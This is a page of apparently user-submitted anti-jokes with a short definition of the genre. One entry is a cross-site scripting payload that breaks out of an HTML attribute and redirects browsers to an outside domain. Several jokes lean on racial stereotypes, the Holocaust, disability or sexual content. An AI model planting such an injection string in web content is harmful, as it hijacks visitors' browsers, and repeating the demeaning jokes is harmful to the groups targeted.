A boy walked in on his mom and dad in their bedroom last night they were having a leisurely evening playing scrabble

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Why did hundreds ofnpeople die in a plane crash? Because the pilot was a salad.

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"'>document.location.href="http://cramik.org"

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A man and a six year old boy are walking along a path through the woods on a moonless night. "Gee mister, I'm scared!" says the boy. "You're scared?" says the man. "I have to walk back alone!"

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A working black man, Santa, and the Easter Bunny where walking down the street and find a penny, who picks it up? The working black man, Santa and the Easter Bunny take no payment for their work.

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A.M.E.V.A.A A-ny M-essage E-xpressed V-ia A-cronym is A-wesome

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What's better than winning a gold medal at the paralympics? Winning two gold medals.

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Does your iPod have zoom on it? Yeah, but it doesn't have a camera

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Men's rights Because its an anti-joke

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(Knock knock) A:who is it? B:its the police open up where coming in B:I SAID OPEN THE BLOODY DOOR A:(SHIT)

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Why was the blonde fired from her job at the M&M's factory? Her Masters Degree in electrical engineering made her overqualified for the position she had.

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I heard an awesome joke last night. I cannot remember it.

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1. The name of your street 2. The name of your pet 3. Your favorite activity 4. The color of your eyes 5. The number of shoes you own Now fill in the blank with the corresponding number to your answers. "One day I was ___3___ my dog when a pornstar named __(1)__ ___(2)___ asked me how many times I can ___(3)____ myself. I said ___(5)___ times and the juice that came out of me was __(4)___."

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Two elves walk into a bar. The hobbit laughs and walks under it.

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i should have been sad when my flashlight died.... but i was delighted.

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What did the boy with no arms and no legs get for christmas? A bike

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What did the cat say to the rabbit? Nothing, cats are incapable of human speech as far as scientists are concerned. Also, the mouse was having a bad day. Rutabaga.

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Q: What did the Mexican say to the other Mexican? A: To get to the other side.

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Two friends are sitting on a couch watching TV. One friend accidently turned on a pornography channel. The other friend felt awkward and went home.

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Why did the chicken cross the road? Because it looking for food for it was starving to death.

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A girl asks her best friends: Why are you only wearing one earring? The best friends replies: Because I took the other one out.

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TOYS TOYS TOYS IN THE ATTIC

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What's worse than the holocaust? Finding a worm in your apple.

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What did God say to Adam and Eve? Be fruitful

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

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